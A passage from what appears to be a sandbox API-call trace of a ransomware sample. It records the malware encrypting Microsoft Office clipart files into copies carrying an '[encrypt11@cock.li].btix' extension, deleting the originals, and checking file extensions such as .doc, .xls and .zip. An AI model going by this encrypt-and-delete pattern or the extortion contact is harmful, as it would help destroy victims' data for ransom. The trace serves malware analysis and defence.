Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0130.941] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.941] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0130.942] GetLastError () returned 0x0 [0130.942] ReadFile (in: hFile=0x430, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x5bc, lpOverlapped=0x0) returned 1 [0130.956] WriteFile (in: hFile=0x4a8, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x5c0, lpOverlapped=0x0) returned 1 [0131.167] ReadFile (in: hFile=0x430, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0131.167] WriteFile (in: hFile=0x4a8, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0131.167] SetEndOfFile (hFile=0x4a8) returned 1 [0131.167] CloseHandle (hObject=0x4a8) returned 1 [0131.167] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.167] SetEndOfFile (hFile=0x430) returned 1 [0131.171] CloseHandle (hObject=0x430) returned 1 [0131.171] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0131.171] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf")) returned 1 [0131.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0131.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0131.172] lstrlenW (lpString=".doc") returned 4 [0131.172] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0131.172] lstrlenW (lpString=".docx") returned 5 [0131.172] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0131.172] lstrlenW (lpString=".pdf") returned 4 [0131.172] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0131.172] lstrlenW (lpString=".xls") returned 4 [0131.172] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0131.172] lstrlenW (lpString=".xlsx") returned 5 [0131.172] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0131.172] lstrlenW (lpString=".ppt") returned 4 [0131.173] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0131.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0131.173] lstrlenW (lpString=".zip") returned 4 [0131.173] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0131.173] lstrlenW (lpString=".rar") returned 4 [0131.173] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0131.173] lstrlenW (lpString=".bz2") returned 4 [0131.173] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0131.173] lstrlenW (lpString=".7z") returned 3 [0131.173] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0131.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0131.173] lstrlenW (lpString=".dbf") returned 4 [0131.173] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0131.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0131.173] lstrlenW (lpString=".1cd") returned 4 [0131.173] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0131.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0131.173] lstrlenW (lpString=".jpg") returned 4 [0131.173] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0131.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0131.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0131.173] lstrlenW (lpString=".doc") returned 4 [0131.173] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0131.173] lstrlenW (lpString=".docx") returned 5 [0131.173] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0131.173] lstrlenW (lpString=".pdf") returned 4 [0131.173] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0131.173] lstrlenW (lpString=".xls") returned 4 [0131.173] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0131.173] lstrlenW (lpString=".xlsx") returned 5 [0131.174] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0131.174] lstrlenW (lpString=".ppt") returned 4 [0131.174] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0131.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0131.174] lstrlenW (lpString=".zip") returned 4 [0131.174] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0131.174] lstrlenW (lpString=".rar") returned 4 [0131.174] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0131.174] lstrlenW (lpString=".bz2") returned 4 [0131.174] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0131.174] lstrlenW (lpString=".7z") returned 3 [0131.174] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0131.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0131.174] lstrlenW (lpString=".dbf") returned 4 [0131.174] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0131.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0131.174] lstrlenW (lpString=".1cd") returned 4 [0131.174] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0131.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0131.174] lstrlenW (lpString=".jpg") returned 4 [0131.174] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0131.174] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0131.174] lstrlenW (lpString="HH00612_.WMF") returned 12 [0131.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0131.175] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=12632) returned 1 [0131.175] CloseHandle (hObject=0x430) returned 1 [0131.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf")) returned 0x220 [0131.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0131.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0131.176] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.176] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0131.176] GetLastError () returned 0x0 [0131.176] ReadFile (in: hFile=0x430, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x3158, lpOverlapped=0x0) returned 1 [0131.540] WriteFile (in: hFile=0x4a8, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x3160, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x3160, lpOverlapped=0x0) returned 1 [0131.542] ReadFile (in: hFile=0x430, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0131.542] WriteFile (in: hFile=0x4a8, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0131.542] SetEndOfFile (hFile=0x4a8) returned 1 [0131.543] CloseHandle (hObject=0x4a8) returned 1 [0131.543] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.543] SetEndOfFile (hFile=0x430) returned 1 [0131.546] CloseHandle (hObject=0x430) returned 1 [0131.547] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0131.548] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf")) returned 1 [0131.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0131.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0131.548] lstrlenW (lpString=".doc") returned 4 [0131.548] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0131.548] lstrlenW (lpString=".docx") returned 5 [0131.548] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0131.549] lstrlenW (lpString=".pdf") returned 4 [0131.549] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0131.549] lstrlenW (lpString=".xls") returned 4 [0131.549] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0131.549] lstrlenW (lpString=".xlsx") returned 5 [0131.549] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0131.549] lstrlenW (lpString=".ppt") returned 4 [0131.549] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0131.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0131.549] lstrlenW (lpString=".zip") returned 4 [0131.549] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0131.549] lstrlenW (lpString=".rar") returned 4 [0131.549] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0131.549] lstrlenW (lpString=".bz2") returned 4 [0131.549] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0131.549] lstrlenW (lpString=".7z") returned 3 [0131.549] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0131.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0131.549] lstrlenW (lpString=".dbf") returned 4 [0131.549] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0131.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0131.549] lstrlenW (lpString=".1cd") returned 4 [0131.549] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0131.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0131.549] lstrlenW (lpString=".jpg") returned 4 [0131.549] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0131.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0131.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0131.550] lstrlenW (lpString=".doc") returned 4 [0131.550] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0131.550] lstrlenW (lpString=".docx") returned 5 [0131.550] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0131.550] lstrlenW (lpString=".pdf") returned 4 [0131.550] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0131.550] lstrlenW (lpString=".xls") returned 4 [0131.550] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0131.550] lstrlenW (lpString=".xlsx") returned 5 [0131.550] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0131.550] lstrlenW (lpString=".ppt") returned 4 [0131.550] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0131.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0131.550] lstrlenW (lpString=".zip") returned 4 [0131.550] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0131.550] lstrlenW (lpString=".rar") returned 4 [0131.550] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0131.550] lstrlenW (lpString=".bz2") returned 4 [0131.550] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0131.550] lstrlenW (lpString=".7z") returned 3 [0131.550] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0131.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0131.550] lstrlenW (lpString=".dbf") returned 4 [0131.550] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0131.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0131.551] lstrlenW (lpString=".1cd") returned 4 [0131.551] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0131.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0131.551] lstrlenW (lpString=".jpg") returned 4 [0131.551] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0131.551] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0131.551] lstrlenW (lpString="HH00636_.WMF") returned 12 [0131.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0131.552] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=1568) returned 1 [0131.552] CloseHandle (hObject=0x430) returned 1 [0131.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf")) returned 0x220 [0131.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0131.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0131.552] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.553] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0131.557] GetLastError () returned 0x0 [0131.557] ReadFile (in: hFile=0x430, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x620, lpOverlapped=0x0) returned 1 [0132.176] WriteFile (in: hFile=0x4a8, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x630, lpOverlapped=0x0) returned 1 [0132.176] ReadFile (in: hFile=0x430, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0132.177] WriteFile (in: hFile=0x4a8, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0132.177] SetEndOfFile (hFile=0x4a8) returned 1 [0132.259] CloseHandle (hObject=0x4a8) returned 1 [0132.259] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.259] SetEndOfFile (hFile=0x430) returned 1 [0132.262] CloseHandle (hObject=0x430) returned 1 [0132.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0132.268] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf")) returned 1 [0132.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0132.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0132.273] lstrlenW (lpString=".doc") returned 4 [0132.273] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0132.273] lstrlenW (lpString=".docx") returned 5 [0132.273] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0132.273] lstrlenW (lpString=".pdf") returned 4 [0132.274] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0132.274] lstrlenW (lpString=".xls") returned 4 [0132.274] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0132.274] lstrlenW (lpString=".xlsx") returned 5 [0132.274] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0132.274] lstrlenW (lpString=".ppt") returned 4 [0132.274] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0132.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0132.274] lstrlenW (lpString=".zip") returned 4 [0132.274] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0132.274] lstrlenW (lpString=".rar") returned 4 [0132.274] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0132.274] lstrlenW (lpString=".bz2") returned 4 [0132.274] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0132.274] lstrlenW (lpString=".7z") returned 3 [0132.274] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0132.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0132.274] lstrlenW (lpString=".dbf") returned 4 [0132.274] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0132.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0132.274] lstrlenW (lpString=".1cd") returned 4 [0132.274] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0132.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0132.274] lstrlenW (lpString=".jpg") returned 4 [0132.274] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0132.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0132.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0132.274] lstrlenW (lpString=".doc") returned 4 [0132.274] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0132.274] lstrlenW (lpString=".docx") returned 5 [0132.274] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0132.275] lstrlenW (lpString=".pdf") returned 4 [0132.275] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0132.275] lstrlenW (lpString=".xls") returned 4 [0132.275] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0132.275] lstrlenW (lpString=".xlsx") returned 5 [0132.275] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0132.275] lstrlenW (lpString=".ppt") returned 4 [0132.275] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0132.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0132.275] lstrlenW (lpString=".zip") returned 4 [0132.275] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0132.275] lstrlenW (lpString=".rar") returned 4 [0132.275] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0132.275] lstrlenW (lpString=".bz2") returned 4 [0132.275] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0132.275] lstrlenW (lpString=".7z") returned 3 [0132.275] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0132.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0132.275] lstrlenW (lpString=".dbf") returned 4 [0132.275] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0132.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0132.275] lstrlenW (lpString=".1cd") returned 4 [0132.275] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0132.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0132.275] lstrlenW (lpString=".jpg") returned 4 [0132.275] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0132.275] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0132.275] lstrlenW (lpString="HH00687_.WMF") returned 12 [0132.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0132.276] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=4340) returned 1 [0132.276] CloseHandle (hObject=0x430) returned 1 [0132.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf")) returned 0x220 [0132.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0132.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0132.277] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.277] SetFilePointerEx (in: hFile=0x430, 